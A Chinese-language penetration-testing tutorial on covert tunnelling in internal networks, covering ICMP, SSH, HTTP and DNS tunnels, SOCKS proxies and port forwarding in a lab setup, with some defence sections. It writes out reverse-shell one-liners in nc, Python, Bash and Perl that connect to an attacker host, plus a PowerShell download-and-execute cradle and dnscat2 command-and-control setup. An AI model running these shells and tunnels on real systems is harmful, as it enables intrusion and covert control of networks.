内网渗透之隐藏通信隧道技术
一、隱藏通信隧道基礎知識
1、隱藏通信隧道概述
一般的網絡通信,先在兩臺機器之間建立TCP連接,然后進行正常的數據通信。在知道IP地址的情況下,可以直接發送報文;如果不知道IP地址,就需要將域名解析成IP地址。在實際的網絡中,通常會通過各種邊界設備、軟/硬件防火墻甚至人侵檢測系統來檢查對外連接的情況,如果發現異常,就會對通信進行阻斷。
這里的隧道,是一種繞過端口屏蔽的通信方式。防火墻兩端的數據包通過防火墻所允許的數據包類型或者端口進行封裝,然后穿過防火墻,與對方進行通信。當被封裝的數據包到達目的地時,將數據包還原,并將還原后的數據包發送到相應的服務器上。
常用的隧道列舉如下:
- 網絡層:IPv6隧道、ICMP隧道、GRE隧道。
- 傳輸層:TCP隧道、UDP隧道、常規端口轉發。
- 應用層:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道。
2、判斷內網的連通性
判斷內網的連通性是指判斷機器能否上外網等。要綜合判斷各種協議(TCP、HTTP、DNS、ICMP等)及端口通信的情況。常見的允許流量流出的端口有80、8080、 443、53、110、123等。常用的內網連通性判斷方法如下:
2.1、ICMP協議
ping <IP地址和域名>2.2、TCP協議
netcat (簡稱nc)被譽為網絡安全界的“瑞士軍刀”,是一個短小精悍的工具,通過使用TCP或UDP協議的網絡連接讀寫數據。
使用nc工具,執行命令:
nc <IP 地址端口號>開啟phpstudy前后
2.3、HTTP協議
curl是一個利用URL規則在命令行下工作的綜合文件傳輸工具,支持文件的上傳和下載。curl命令不僅支持HTTP、HTTPS、FTP等眾多協議,還支持POST、Cookie、 認證、從指定偏移處下載部分文件、用戶代理字符串、限速、文件大小、進度條等特征。Linux 操作系統自帶curl命令。在Windows操作系統中,需要下載并安裝curl 命令。
curl <IP地址:端口號>如果遠程主機開啟了相應的端口,會輸出相應的端口信息。如果遠程主機沒有開通相應的端口,則沒有任何提示。按“Ctrl+C”鍵即可斷開連接。
2.4、DNS協議
在進行DNS連通性檢測時,常用的命令為nslookup和dig。
nslookup是Windows操作系統自帶的DNS探測命令,其用法如下所示。在沒有指定vps-ip時,nslookup會從系統網絡的TCP/IP屬性中讀取DNS服務器的地址。
nslookup www.baidu.com vps-ipdig是Linux 默認自帶的DNS探測命令,其用法如下所示。在沒有指定vps-ip時,dig 會到/etc/resolv.conf文件中讀取系統配置的DNS服務器的地址。如果vps-ip 為192.168.43.1, 將解析百度網的IP地址,說明目前DNS協議是連通的。
dig @vps-ip www.baidu.com還有一種情況是流量不能直接流出,需要在內網中設置代理服務器,常見于通過企業辦公網段上網的場景。常用的判斷方法如下:
- 查看網絡連接,判斷是否存在與其他機器的8080 (不絕對)等端口的連接(可以嘗試運行“ping -n 1 -a ip” 命令)。
- 查看內網中是否有主機名類似于“proxy" 的機器。
- 查看IE瀏覽器的直接代理。
- 根據pac文件的路徑(可能是本地路徑,也可能是遠程路徑),將其下載下來并查看。
- 執行如下命令,利用curl工具進行確認。
二、網絡層隧道技術
1、IPv6隧道
1.1、IPv6隧道技術簡介
IPv6隧道技術是指通過IPv4隧道傳送IPv6數據報文的技術。為了在IPv4中傳遞IPv6信息,可以將IPv4作為隧道載體,將IPv6報文整體封裝在IPv4數據報文中,使IPv6報文能夠穿過IPv4,到達另一個IPv6程序。
因為現階段的邊界設備、防火墻甚至人侵防御系統還無法識別IPv6的通信數據,而大多數的攻擊者有時會通過惡意軟件來配置允許進行IPv6通信的設備,以避開防火墻和入侵檢測系統。
有一點需要指出:即使設備支持IPv6,也可能無法正確分析封裝了IPv6 報文的IPv4數據包。配置隧道和自動隧道的主要區別是:只有在執行隧道功能的節點的IPv6地址是IPv4兼容地址時,自動隧道才是可行的。在為執行隧道功能的節點分配IP地址時,如果采用的是自動隧道方法,就不需要進行配置。
配置隧道方法則要求隧道末端節點使用其他機制來獲得其IPv4地址,例如采用DHCP、人工配置或他IPv4的配置機制。
支持IPv6的隧道工具有socat、6tunnel 、nt6tunnel 等。
1.2、防御IPv6隧道攻擊的方法
針對IPv6隧道攻擊,最好的防御方法是:了解IPv6的具體漏洞,結合其他協議,通過防火墻和深度防御系統過濾IPv6通信,提高主機和應用程序的安全性。
2、ICMP隧道
ICMP隧道簡單、實用,是一個比較特殊的協議。在一般的通信協議里,如果兩臺設備要進行通信,肯定需要開放端口,而在ICMP協議下就不需要。最常見的ICMP消息為ping命令的回復,攻擊者可以利用命令行得到比回復更多的ICMP請求。在通常情況下,每個ping命令都有相對應的回復與請求。
在一些網絡環境中,如果攻擊者使用各類上層隧道(例如HTTP隧道、DNS隧道、常規正/反向端口轉發等)進行的操作都失敗了,常常會通過ping命令訪問遠程計算機,嘗試建立ICMP隧道,將TCP/UDP數據封裝到ICMP的ping數據包中,從而穿過防火墻(通常防火墻不會屏蔽ping數據包),實現不受限制的網絡訪問。
常用的ICMP隧道工具有icmpsh、PingTunnel 、icmptunnel、 powershell icmp等。
2.1、icmpsh
icmpsh工具使用簡單,便于“攜帶”(跨平臺),運行時不需要管理員權限。使用git clone命令下載icmpsh。
git clone https://github.com/inquisb/icmpsh.git安裝Python的impacket類庫,以便對TCP、UDP、ICMP、IGMP、ARP、IPv4、 IPv6、SMB、MSRPC、NTLM、Kerberos、WMI、LDAP等協議進行訪問。
pip install impacket因為icmpsh工具要代替系統本身的ping命令的應答程序,輸人如下命令來關閉本地系統的ICMP應答( 如果要恢復系統應答,則設置為0),否則Shell的運行會不穩定(表現為一直刷屏,無法進行交互輸人)。
sysctl -w net.ipv4.icmp_echo_ignore_all=1直接輸人“./run.sh" 會抱錯,輸入如下命令運行工具:
python2 icmpsh_m.py 【kali主機地址】 【windows主機地址】 # 運行工具查看kali攻擊者IP地址(192168.220.165)。然后輸人如下命令。
icmpsh.exe -t 【kali主機地址】在目標主機上運行以上命令后,即可在VPS中看到反彈的shell
2.2、PingTunnel
PingTunnel也是一款常用的ICMP隧道工具,可以跨平臺使用。為了避免隧道被濫用,可以為隧道設置密碼。
實驗環境:
- kali攻擊機:192.168.220.165
- web服務器(ubuntu):192.168.220.145、192.168.52.132
- 內網主機(windows7):192.168.52.133
首先,在需要建立ICMP隧道的兩臺機器(kali和Web服務器)上安裝PingTunnel工具。 然后,輸人如下命令,解壓壓縮文件,進行配置和編譯。
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz tar -xzvf PingTunnel-0.72.tar.gz cd PingTunnel make && make install但在安裝前需要安裝它的運行環境
安裝libpcap的依賴環境 apt-get install byacc apt-get install flex bison安裝libpcap依賴庫 wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz tar -xzvf libpcap-1.9.0.tar.gz cd libpcap-1.9.0 ./configure make && make install使用方法:
在Web服務器192.168.220.145中輸人如下命令,運行PingTunnel 工具,開啟隧道。
ptunnel -x password在kali機器192.168.220.165中執行如下命令。
ptunnel -p 192.168.220.145 -lp 2333 -da 192.168.52.133 -dp 80 -x password- -p 指定ICMP隧道另一端的IP
- -lp:指定本地監聽的TCP端口
- -da:指定要轉發的目標機器的IP
- -dp:指定要轉發的目標機器的TCP端口
- -x:指定連接密碼
上述命令的含義是:在訪問攻擊者kali(192.168.220.165)的2333端口時,會把數據庫服務器192.168.52.133的80端口的數據封裝在ICMP隧道里,以Web服務器192.168.220.145為ICMP隧道跳板進行傳送。
可以看到服務標識是windows7
如果內網機器是linux的可以連接22端口,如果是windows可以嘗試3389端口
ptunnel -p 192.168.200.34 -lp 2333 -da 192.168.100.7 -dp 22 -x password2.3、防御ICMP隧道攻擊的方法
許多網絡管理員會阻止ICMP通信進人站點。但是在出站方向,ICMP通信是被允許的,而且目前大多數的網絡和邊界設備不會過濾ICMP流量。使用ICMP隧道時會產生大量的ICMP數據包,我們可以通過Wireshark進行ICMP數據包分析,以檢測惡意ICMP流量,具體方法如下。
- 檢測同一來源的ICMP數據包的數量。一個正常的ping命令每秒最多發送兩個數據包,而使用ICMP隧道的瀏覽器會在很短的時間內產生上千個ICMP數據包。
- 注意那些Payload大于64bit的ICMP數據包。
- 尋找響應數據包中的Payload與請求數據包中的Payload不一 致的ICMP數據包。
- 檢查ICMP數據包的協議標簽。例如,icmptunnel 會在所有的ICMP Payload 前面添加“TUNL”標記來標識隧道一這就是特征。
三、傳輸層隧道技術
傳輸層技術包括TCP隧道、UDP隧道和常規端口轉發等。
1、LCX端口轉發
lcx 是一個基于Socket套接字實現的端口轉發工具,有Windows和Linux兩個版本。Windows 版為lcx.exe, Linux 版為portmap。一個正常的Socket隧道必須具備兩端:一端為服務端,監聽一個端口,等待客戶端的連接;另一端為客戶端;通過傳人服務端的IP地址和端口,才能主動與服務器連接。
下載地址:https://github.com/Brucetg/Pentest-tools/tree/master/
1.1、內網端口轉發
在目標機器上執行如下命令,將目標機器3389端口的所有數據轉發到公網VPS的4444端口,上。
lcx.exe -slave <公網主機IP地址> 4444 127.0.0.1 3389在VPS上執行如下命令,將本機4444端口上監聽的所有數據轉發到本機的5555 端口上。
lcx.exe -listen 4444 5555此時,用mstsc登錄“<公網主機IP地址>:5555”,或者在VPS上用mstsc登錄主機127.0.0.1的5555端口,即可訪問目標服務器的3389端口。
1.2、本地端口映射
如果目標服務器由于防火墻的限制,部分端口(例如3389)的數據無法通過防火墻,可以將目標服務器相應端口的數據透傳到防火墻允許的其他端口(例如53)。在目標主機上執行如下命令,就可以直接從遠程桌面連接目標主機的53端口。
lcx -tran 53 <目標主機IP地址> 33892、netcat
2.1、簡易使用
- -d:后臺模式
- -e:程序重定向
- -g<網關>:設置路由器躍程通信網關,最多可設置8個
- -G<指向器數目>:設置源路由指向器的數量,值為4的倍數
- -h:在線幫助
- -i<延遲秒數>:設置時間間隔,以便傳送信息及掃描通信端口
- -l:使用監聽模式,管理和控制傳人的數據
- -n:直接使用IP地址(不通過域名服務器)
- -o<輸出文件>:指定文件名稱,把往來傳輸的數據轉換為十六進制字節碼后保存在該文件中
- -p<通信端口>:設置本地主機使用的通信端口
- -r:隨機指定本地與遠程主機的通信端口
- -s<源地址>:設置本地主機送出數據包的IP地址
- -u:使用UDP傳輸協議
- -v:詳細輸出
- -w<超時秒數>:設置等待連線的時間
- -z:將輸人/輸出功能關閉,只在掃描通信端口時使用
Banner抓取
nc -nv 192.168.220.165 21連接遠程主機
nc -nvv 192.168.220.165 80端口掃描
nc -v 192.168.220.165 80 掃描指定端口 nc -v -z 192.168.220.165 20-1024 掃描端口段(速度慢)端口監聽
nc -l -p 4444 當訪問該端口時會輸出該信息到命令行文件傳輸
nc -l -p 4444 接收方開啟監聽 nc -vn 192.168.220.165 4444 < test.txt -q 1 發送方傳輸test.txt簡易聊天
nc -l -p 4444 接收方開啟監聽 nc -vn 192.168.220.165 4444 發送方2.2、獲取Shell
Shell分為兩種,一種是正向Shell,另一種是反向Shell。 如果客戶端連接服務器,客戶端想要獲取服務器的Shell, 就稱為正向Shell;如果客戶端連接服務器,服務器想要獲取客戶端的Shell,就稱為反向Shell。反向Shell通常用在開啟了防護措施的目標機器上,例如防火墻過濾、端口轉發等。
正向Shell
在目標主機中輸人如下命令,監聽目標主機的4444端口
nc -1vp 4444 -e /bin/sh //Linux nc -lvp 4444 -e c:\windows\system32\cmd.exe //Windows在kali攻擊機輸人如下命令,連接目標主機的4444端口
nc <目標IP> 4444現在可以在目標主機上看到192.168.220.165正在連接本機。
反向Shell
kali攻擊機輸人如下命令,監聽本地9999端口。
nc -lvp 9999在目標主機中輸人如下命令,連接VPS主機192.168.220.165 的9999端口。
nc 192.168.220.165 9999 -e /bin/sh //Linux nc 192.168.220.165 9999 -e C:\windows\system32\cmd.exe//Windows2.3、在目標主機中沒有nc時獲取反向Shell
在一般情況下,目標主機中是沒有nc的。此時,可以使用其他工具和編程語言來代替nc,實現反向連接(下面的代碼僅適用于目標主機為linux的情況)
(1)Python反向Shell
在kali攻擊機上執行命令,監聽本地4444端口。
nc -lvp 4444在目標主機上執行如下命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.connect(("192.168.220.165",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'(2)Bash反彈shell
在kali攻擊機上執行命令,監聽本地4444端口。
nc -lvp 4444在目標主機上執行如下命令
bash -i >& /dev/tcp/192.168.220.165/4444 0>&1(3)PHP反向Shell
在kali攻擊機上執行命令,監聽本地4444端口。
nc -lvp 4444PHP常用在Web服務器上,它是nc、Perl 和Bash的一個很好的替代品。執行如下命令,實
現PHP環境下的反彈Shell
(4)Perl反向Shell
在kali攻擊機上執行命令,監聽本地4444端口。
nc -lvp 4444如果此時目標主機使用的是Perl語言,仍然可以使用Perl來建立反向Shell。
在目標主機上運行如下命令
perl -e 'use Socket;$i="192.168.220.165";$p=4444;socket(S,PF_INET,SOCK_STREAM, getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN, ">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'2.4、內網代理
假設有三臺主機A、B和C,其中B、C在內網環境中。主機A訪問B,并獲取了B的Shell;A不能直接訪問C,可以通過B訪問C。現在要獲取C的shell。
在主機A:nc -lvp 4444 在主機C:nc -lvp 9999 -e /bin/sh 在主機B:nc -v <主機A的IP地址> 4444 -c "nc -v <主機C的IP地址> 9999"3、PowerCat
PowerCat可以說是nc的PowerShell版本。PowerCat 可以通過執行命令回到本地運行,也可以使用遠程權限運行。
下載安裝PowerCat
打開命令行環境,執行git clone命令( 確保本地主機中安裝了git 環境)下載PowerCat
下載完成后,在終端輸人“cd powercat”命令,即可進入PowerCat的目錄。在PowerShell命令行環境中,要想使用powercat.ps1腳本,必須先進行導人操作。
Import-Module .\powercat.ps1如果提示未能加載指定模塊,則可能是權限問題,輸入下面命令修改權限
Set-ExecutionPolicy Unrestricted如果沒有權限,也可以直接下載遠程文件進行繞過。
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')powercat 的使用
-l 監聽模式 -p 指定監聽端口 -e 指定啟動進程的名稱 -v 顯示詳情 -c 指定想要連接的 IP 地址 -ep 返回 powershell -dns 使用 dns 通信 -g 生成 payload -ge 生成經過編碼的 payload,可以直接使用 powershell -e 執行該 payload正向連接
Kali 上的 nc 連接到靶機
nc -v 192.168.220.142 4444靶機開啟監聽,等待 Kali 連接
powercat -l -v -p 4444 -e cmd.exe反向連接
Kali 上開啟監聽
nc -lvp 4444靶機向 kali 發起連接
powercat -c 192.168.220.165 -p 4444 -e cmd.exe返回 powershell
攻擊機上運行
powercat -l -v -p 4444靶機上運行
powercat -c 192.168.220.165 -p 4444 -v -eppowercat 生成 payload
用PowerCat生成的Pylod也有正向和反向之分,且可以對其進行編碼。嘗試生成一個簡單的Payload,在攻擊機中執行如下命令。
powercat -1 -p 8000 -e cmd -v -g >> shell.ps1將生成的psl文件上傳到靶機中并執行,然后在攻擊機中執行如下命令,就可以獲得一個反彈 Shell。
powercat -C 191.168.52.10 -P 8000 -V如果想反彈PowerShell,可以執行如下命令。
powercat -1 -P 8000 -ep -V -g >> shell.ps1用PowerCat也可以直接生成經過編碼的Payload。在攻擊機中執行如下命令,即可得到經過編碼的Payload。
powercat -C 192.168.52.10 -P 9999 -ep -ge繼續在攻擊機中執行如下命令,并將Payload在靶機執行
powercat -1 -p 9999 -V雖然PowerCat的作者給出的說明是在PowerShell 2.0以上版本中就可以使用這個功能,但是根據測試,在PowerShell 4.0以下版本中使用這個功能時都會報錯。
建立 dns 隧道連接
powercat 的 dns 隧道是基于 dnscat 設計的,因此在服務端需要使用 dnscat 連接。
在服務端上安裝 dnscat ,以 kali 為例
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ gem install bundler bundle install命令運行完之后,執行以下命令開啟服務端
ruby dnscat2.rb powercat -e open --no-cache在靶機下,執行以下命令,建立 dns 隧道
powercat -c 192.168.220.165 -p 53 -dns powercat -e cmd.exe將PowerCat作為跳板
測試環境為:
- kali 192.168.220.165
- windows7 192.168.220.142&&192.168.52.10
- win2008 192.168.52.30
將 win7 作為跳板機,讓 kali 通過 win7 連接到 win2008
在 win2008 中執行以下命令
powercat -l -v -p 4444 -e cmd.exe使用DNS協議: powercat -C -192.168.52.10 -p 8000 -v -e cmd.exe在 win7 中執行以下命令
powercat -l -v -p 5555 -r tcp:192.168.52.30:4444使用DNS協議: powercat -1 -p 8000 -r dns:192.168.220.165::ttpowercat.test最后在 kali 下連接 win7
nc -v 172.16.214.2 5555使用DNS協議: ruby dnscat2.rb ttpowercat.test -e open --no-cache四、應用層隧道技術
應用層的隧道通信技術主要利用應用軟件提供的端口來發送數據。常用的隧道協議有SSH、HTTP/HTTPS和DNS。
1、SSH 協議
在內網中,幾乎所有的Linux/UNIX服務器和網絡設備都支持SSH協議。在一般情況下,SSH協議是被允許通過防火墻和邊界設備的,所以經常被攻擊者利用。同時,SSH協議的傳輸過程是加密的,所以我們很難區分合法的SSH會話和攻擊者利用其他網絡建立的隧道。攻擊者使用SSH端口隧道突破防火墻的限制后,能夠建立一些之前無法建立的TCP連接。
一個普通的SSH命令如下。
ssh root@192.168.1.1創建SSH隧道的常用參數說明如下:
- -C:壓縮傳輸,提高傳輸速度
- -f:將SSH傳輸轉入后臺執行,不占用當前的Shell
- -N:建立靜默連接(建立了連接,但是看不到具體會話)
- -g:允許遠程主機連接本地用于轉發的端口
- -L:本地端口轉發
- -R:遠程端口轉發
- -D:動態轉發(SOCKS代理)
- -P:指定SSH端口
1.1、本地轉發
實驗環境:
- kali攻擊機:192.168.220.165
- web服務器(ubuntu):192.168.220.145、192.168.52.132
- 內網主機(win2003):192.168.52.133
以Web服務器192.168.220.145為跳板,將內網主機192.168.52.133 的3389端口映射到kali攻擊機192.168.220.165的4444端口,再訪問kali攻擊機的4444端口,就可以訪問192.168.52.133的3389端口了。
kali攻擊機上執行如下命令,會要求輸人Web服務器( 跳板機)的密碼。
ssh -CfNg -L 4444(VPS端口):192.168.52.133 (目標主機):80(目標端口) root@192.168.220.145(跳板機)SSH進程的本地端口映射可以將本地(客戶機)的某個端口轉發到遠端指定機器的指定端口;本地端口轉發則是在本地(客戶機)監聽一個端口,所有訪問這個端口的數據都會通過SSH隧道傳輸到遠端的對應端口。
1.2、遠程轉發
實驗環境:
- kali攻擊機:192.168.220.165
- web服務器(ubuntu):192.168.220.145、192.168.52.132
- 內網主機(win2003):192.168.52.133
以Web服務器為跳板,將kali攻擊機的3307端口的流量轉發到內網主機的3389端口,然后訪問kali攻擊機的3307端口,就可以訪問內網主機的3389端口了。
在Web服務器192.168.220.145上執行如下命令。
ssh -CfNg -R 3307(kali攻擊機端口):192.168.52.133(目標主機):3389(目標端口) root@192.168.220.165(kali攻擊機ip)在本地訪問kali的3307端口,可以發現,已經與內網主機 的3389端口建立了連接
rdesktop 127.0.0.1:3307本地轉發是將遠程主機(服務器)某個端口的數據轉發到本地機器的指定端口。遠程端口轉發則是在遠程主機上監聽一個端口,所有訪問遠程服務器指定端口的數據都會通過SSH隧道傳輸到本地的對應端口。
1.3、動態轉發
實驗環境:
- kali攻擊機:192.168.220.165
- web服務器(ubuntu):192.168.220.140、192.168.52.137
- 內網主機(win2003):192.168.52.133
在kali攻擊機上執行如下命令,建立一個動態的SOCKS 4/5代理通道,輸入Web服務器的密碼。
ssh -CfNg -D 7000 root@192.168.220.140接下來,在本地打開瀏覽器,設置網絡代理。通過瀏覽器訪問內網域控制器192.168.52.133
輸人如下命令,查看本地7000端口是否已經連接。
netstat -tulnp 1 grep ": 7000"動態端口映射就是建立一個SSH加密的SOCKS 4/5代理通道。任何支持SOCKS 4/5協議的程序都可以使用這個加密通道進行代理訪問。
1.4、防御SSH隧道攻擊的思路
SSH隧道之所以能被攻擊者利用,主要是因為系統訪問控制措施不夠。在系統中配置SSH遠程管理白名單,在ACL中限制只有特定的IP地址才能連接SSH,以及設置系統完全使用帶外管理等方法,都可以避免這一問題。
如果沒有足夠的資源來建立帶外管理的網絡結構,在內網中至少要限制SSH遠程登錄的地址和雙向訪問控制策略(從外部到內部;從內部到外部)。
2、HTTP/HTTPS協議
HTTP Service代理用于將所有的流量轉發到內網。常見的代理工具有reGeorg、meterpreter 、tunna
等。
reGeorg是reDuh的升級版,主要功能是把內網服務器端口的數據通過HTTP/HTTPS隧道轉發到本機,實現基于HTTP協議的通信。reGeorg腳本的特征非常明顯,很多殺毒軟件都會對其進行查殺。
reGeorg 支持ASPX、PHP、JSP 等Web腳本,并特別提供了一個Tomeat5版本。
將腳本文件上傳到目標服務器中,使用Kali Linux在本地訪問遠程服務器上的tunnel.jsp 文件。返回后,利用reGeorgSocksProxy.py腳本監聽本地的9999端口,即可建立一個通信鏈路。
輸人如下命令,查看本地端口,可以發現9999端口已經開啟了。
python reGeorgSocksProxy.py -u http://192.168.220.140:8080/tunnel.jsp -p 9999隧道正常工作之后,可以在本地Kali Linux機器上使用ProxyChains之類的工具,訪問目標內網中的資源。
傳統的Web服務器通常不會將本地的3389端口開放到公網,攻擊者的暴力破解行為也很容易被傳統的安全設備捕獲。但是,如果使用HTTP隧道進行端口轉發,不僅攻擊者可以直接訪問Web服務器的3389端口,而且暴力破解所產生的流量的特征也不明顯。因此,在日常網絡維護中,需要監控HTTP隧道的情況,及時發現問題。
3、DNS協議
DNS協議是一種請求/應答協議,也是一種可用于應用層的隧道技術。雖然激增的DNS流量可能會被發現,但基于傳統Socket隧道已經瀕臨淘汰及TCP、UDP通信大量被防御系統攔截的狀況,DNS、ICMP、HTTP/HTTPS 等難以被禁用的協議已成為攻擊者控制隧道的主流渠道。
一方面,在網絡世界中,DNS是一個必不可少的服務;另一方面,DNS報文本身具有穿透防火墻的能力。由于防火墻和入侵檢測設備大都不會過濾DNS流量,也為DNS成為隱蔽信道創造了條件。越來越多的研究證明,DNS隧道在僵尸網絡和APT攻擊中扮演著重要的角色。
用于管理僵尸網絡和進行APT攻擊的服務器叫作C&C服務器( Command and Control Server,命令及控制服務器)。C&C節點分為兩種,分別是C&C服務端(攻擊者)和C&C客戶端(被控制的計算機)。C&C通信是指植人C&C客戶端的木馬或者后門程序與C&C服務端上的遠程控制程序之間的通信。
正常網絡之間的通信,都是在兩臺機器之間建立TCP連接后進行的。在進行數據通信時:如果目標是IP地址,可以直接發送報文;如果目標是域名,會先將域名解析成IP地址,再進行通信。兩臺機器建立連接后, C&C服務端就可以將指令傳遞給C&C客戶端上的木馬(后門)程序,讓其受到控制。
內網中安裝了各種軟/硬件防護設施來檢查主機與外部網絡的連接情況。很多廠商會收集C&C服務端的域名、IP地址、URL等數據,幫助防火墻進行阻斷操作。這樣一來,C&C通信就會被切斷。于是,通過各種隧道技術實現C&C通信的技術(特別是DNS隧道技術)出現了。
DNS隧道的工作原理很簡單:在進行DNS查詢時,如果查詢的域名不在DNS服務器本機的緩存中,就會訪問互聯網進行查詢,然后返回結果。如果在互聯網上有一臺定制的服務器,那么依靠DNS協議即可進行數據包的交換。從DNS協議的角度看,這樣的操作只是在一次次地查詢某個特定的域名并得到解析結果,但其本質問題是,預期的返回結果應該是一個IP地址,而事實上不是——返回的可以是任意字符串,包括加密的C&C指令。
在使用DNS隧道與外部進行通信時,從表面上看是沒有接連外網的(內網網關沒有轉發IP數據包),但實際上,內網的DNS服務器進行了中轉操作。這就是DNS隧道的工作原理,簡單地說,就是將其他協議封裝在DNS協議中進行傳輸。
1、查看DNS的連通性
首先,需要知道當前服務器是否允許通過內部DNS解析外部域名,也就是要測試DNS的連通性。
輸人如下命令,查詢當前內部域名及IP地址。
cat /etc/resolv.conf|grep -v '#'輸人如下命令,查看能否與內部DNS通信。可以看到,能夠解析內部域名
nslookup ad.com輸人如下命令,查詢能否通過內部DNS服務器解析外部域名。可以看到,能夠通過內部DNS服務器解析外部域名,這意味著可以使用DNS隧道實現隱蔽通信。
nslookup baidu.com2、dnscat2
dnscat2是一款開源軟件。它使用DNS協議創建加密的C&C通道,通過預共享密鑰進行身份驗證;使用Shell及DNS查詢類型( TXT、MX、CNAME、A. AAAA),多個同時進行的會話類似于SSH中的隧道,dnscat2 是一個命令與控制工具。
使用dnscat2隧道的模式有兩種,分別是直連模式和中繼模式。
- 直連模式:客戶端直接向指定IP地址的DNS服務器發起DNS解析請求。
- 中繼模式:DNS經過互聯網的迭代解析,指向指定的DNS服務器。與直連模式相比,中繼模式的速度較慢。
如果目標內網放行所有的DNS請求,dnscat2 會使用直連模式,通過UDP的53端口進行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查詢)。在請求日志中,所有的域名都是以“dnscat”開頭的,因此防火墻可以很容易地將直連模式的通信檢測出來。
如果目標內網中的請求僅限于白名單服務器或者特定的域, dnscat2會使用中繼模式來申請一個域名,并將運行dnscat2服務端的服務器指定為受信任的DNS服務器。
dnscat2通過DNS進行控制并執行命令。與同類工具相比,dnscat2 具有如下特點。
- 支持多個會話。
- 流量加密。
- 使用密鑰防止MiTM攻擊。
- 在內存中直接執行PowerShell腳本。
- 隱蔽通信。
2.1、服務端
安裝
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ gem install bundler bundle install使用
#啟動 sudo ruby./dnscat2.rb abc.com --secret=123456 # abc.com 自定義DNS傳輸的域名;--secret 自定義連接密碼 sudo ruby./dnscat2.rb --dns host=127.0.0.1,port=533 --secret=123456 #設置監聽端口 sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #--security 規定了安全級別;--no-cache 禁止緩存2.2、客戶端
安裝
$ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/client/ $ make使用
dnscat --secret=123456 abc.com dnscat --dns server=<your dnscat2 server ip>,port=553 --secret=123456具體的使用方法大家自己去看官方手冊
3、iodine
碘的原子序數為53,而這恰好是DNS的端口號,故該工具被命名為“iodine"
iodine可以通過一-臺DNS服務器制造一個IPv4數據通道,特別適合在目標主機只能發送DNS請求的網絡環境中使用。iodine 是基于C語言開發的,分為服務端程序iodined 和客戶端程序iodine。Kali Linux內置了iodine 。
與同類工具相比,iodine 具有如下特點:
- 不會對下行數據進行編碼。
- 支持多平臺,包括Linux、 BSD、Mac OS、Windows。
- 支持16個并發連接。
- 支持強制密碼機制。
- 支持同網段隧道IP地址(不同于服務器一客戶端網段)。
- 支持多種DNS記錄類型。
- 提供了豐富的隧道質量檢測措施。
iodine支持直接轉發和中繼兩種模式,其原理是:通過TAP虛擬網卡,在服務端建立一個局域網;在客戶端,通過TAP建立一個虛擬網卡;兩者通過DNS隧道連接,處于同一個局域網(可以通過ping命令通信)。在客戶端和服務端之間建立連接后,客戶機上會多出一塊名為“dns0”的虛擬網卡。
具體的使用方法大家自己去看官方手冊
4、防御DNS隧道攻擊的方法
防御隧道攻擊并非易事,特別是防御DNS隧道攻擊。通過如下操作,能夠防御常見的隧道攻擊行為。
- 禁止網絡中的任何人向外部服務器發送DNS請求,只允許與受信任的DNS服務器通信。
- 雖然沒有人會將TXT解析請求發送給DNS服務器,但是dnscat2和郵件服務器/網關會這樣做。因此,可以將郵件服務器/網關列人白名單并阻止傳人和傳出流量中的TXT請求。
- 跟蹤用戶的DNS查詢次數。如果達到閾值,就生成相應的報告。
- 阻止ICMP。
五、SOCKS代理
常見的網絡場景有如下三類。
- 服務器在內網中,可以任意訪問外部網絡。
- 服務器在內網中,可以訪問外部網絡,但服務器安裝了防火墻來拒絕敏感端口的連接。
- 服務器在內網中,對外只開放了部分端口(例如80端口),且服務器不能訪問外部網絡。
1、常用的SOCKS代理工具
SOCKS是一種代理服務,可以簡單地將一端的系統連接另一端。 SOCKS支持多種協議,包括HTTP、FTP等。SOCKS分為SOCKS 4和SOCKS 5兩種類型:SOCKS 4只支持TCP協議;SOCKS 5不僅支持TCP/UDP協議,還支持各種身份驗證機制等,其標準端口為1080。SOCKS能夠與目標內網計算機進行通信,避免多次使用端口轉發。
SOCKS代理其實可理解為增強版的lcx。它在服務端監聽一個服務端口,當有新的連接請求出現時,會先從SOCKS協議中解析出目標的URL的目標端口,再執行lcx的具體功能。SOCKS代理工具有很多,在使用時要盡可能選擇沒有GUI界面的。此外,要盡量選擇不需要安裝其他依賴軟件的SOCKS代理工具,能夠支持多平臺的工具更佳。
常用的SOCKS代理工具有:EarthWorm、reGeorg、sSocks、SocksCap64、Proxifier、ProxyChains
2、SOCKS代理技術在網絡環境中的應用
2.1、EarthWorm的應用
EW的使用也非常簡單,共有六種命令格式,分別是ssocksd、rcsocks、 rssocks、 lcx_slave、lcx_listen、 lex_tran。 其中,用于普通網絡環境的正向連接命令是ssocksd,用于反彈連接的命令是resocks、rssocks, 其他命令用于復雜網絡環境的多級級聯。
正向代理是指主動通過代理來訪問目標機器,反向代理是指目標機器通過代理進行主動連接。
工具鏈接:https://github.com/idlefire/ew
測試環境:
- kali攻擊機:192.168.220.165
- web服務器(win7):192.168.220.143、192.168.52.10
- 內網主機(win2003):192.168.52.20
(1)正向SOCKS5服務器
以下命令適用于目標機器擁有一個外網IP地址的情況。
ew -s ssocksd -l 888執行上述命令,即可架設一個端口為888的SOCKS代理。接下來,使用SocksCap64添加這個IP地址的代理即可。
(2)反彈SOCKS5服務器
目標機器沒有公網IP地址的情況具體如下(使其可以訪問內網資源)。
首先,將EW上傳到kali攻擊機中,執行如下命令。
ew -s rcsocks -l 1080 -e 888該命令的意思是:在公網VPS上添加一個轉接隧道,把1080端口收到的代理請求轉發給888端口。然后,將EW上傳到Web服務器中,執行如下命令。
ew -s rssocks -d 192.168.220.165 -e 888該命令的意思是:在IP地址為192.168.220.143的服務器上啟動SOCKS5服務,然后,反彈到192.168.220.165kail攻擊機的888端口。
